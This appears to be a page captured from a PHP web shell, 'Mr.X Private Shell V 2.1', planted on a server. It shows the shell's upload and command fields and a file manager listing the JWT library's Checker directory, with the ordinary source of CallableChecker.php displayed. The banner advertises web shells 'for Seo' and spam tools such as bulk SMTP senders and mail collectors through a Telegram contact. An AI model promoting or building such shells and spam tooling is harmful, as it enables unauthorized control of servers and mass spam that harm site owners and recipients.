__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

declare(strict_types=1);

namespace Jose\Component\Checker;

use InvalidArgumentException;
use function call_user_func;
use function is_callable;

/**
 * @see \Jose\Tests\Component\Checker\CallableCheckerTest
 */
final class CallableChecker implements ClaimChecker, HeaderChecker
{
    /**
     * @param string     $key      The claim or header parameter name to check.
     * @param callable(mixed $value): bool $callable The callable function that will be invoked.
     */
    public function __construct(
        private readonly string $key,
        private $callable,
        private readonly bool $protectedHeaderOnly = true
    ) {
        if (! is_callable($this->callable)) { // @phpstan-ignore-line
            throw new InvalidArgumentException('The $callable argument must be a callable.');
        }
    }

    public function checkClaim(mixed $value): void
    {
        if (call_user_func($this->callable, $value) !== true) {
            throw new InvalidClaimException(sprintf('The "%s" claim is invalid.', $this->key), $this->key, $value);
        }
    }

    public function supportedClaim(): string
    {
        return $this->key;
    }

    public function checkHeader(mixed $value): void
    {
        if (call_user_func($this->callable, $value) !== true) {
            throw new InvalidHeaderException(sprintf('The "%s" header is invalid.', $this->key), $this->key, $value);
        }
    }

    public function supportedHeader(): string
    {
        return $this->key;
    }

    public function protectedHeaderOnly(): bool
    {
        return $this->protectedHeaderOnly;
    }
}

Filemanager

Name Type Size Permission Actions
AlgorithmChecker.php File 1.14 KB 0664
AudienceChecker.php File 1.6 KB 0664
CallableChecker.php File 1.58 KB 0664
ClaimChecker.php File 438 B 0664
ClaimCheckerManager.php File 2.26 KB 0664
ClaimCheckerManagerFactory.php File 1.6 KB 0664
ClaimExceptionInterface.php File 188 B 0664
ExpirationTimeChecker.php File 2.09 KB 0664
HeaderChecker.php File 619 B 0664
HeaderCheckerManager.php File 5.72 KB 0664
HeaderCheckerManagerFactory.php File 2.12 KB 0664
InternalClock.php File 296 B 0664
InvalidClaimException.php File 742 B 0664
InvalidHeaderException.php File 755 B 0664
IsEqualChecker.php File 1.44 KB 0664
IssuedAtChecker.php File 2.12 KB 0664
IssuerChecker.php File 1.39 KB 0664
MissingMandatoryClaimException.php File 555 B 0664
MissingMandatoryHeaderParameterException.php File 556 B 0664
NotBeforeChecker.php File 2.11 KB 0664
TokenTypeSupport.php File 976 B 0664
UnencodedPayloadChecker.php File 789 B 0664
Filemanager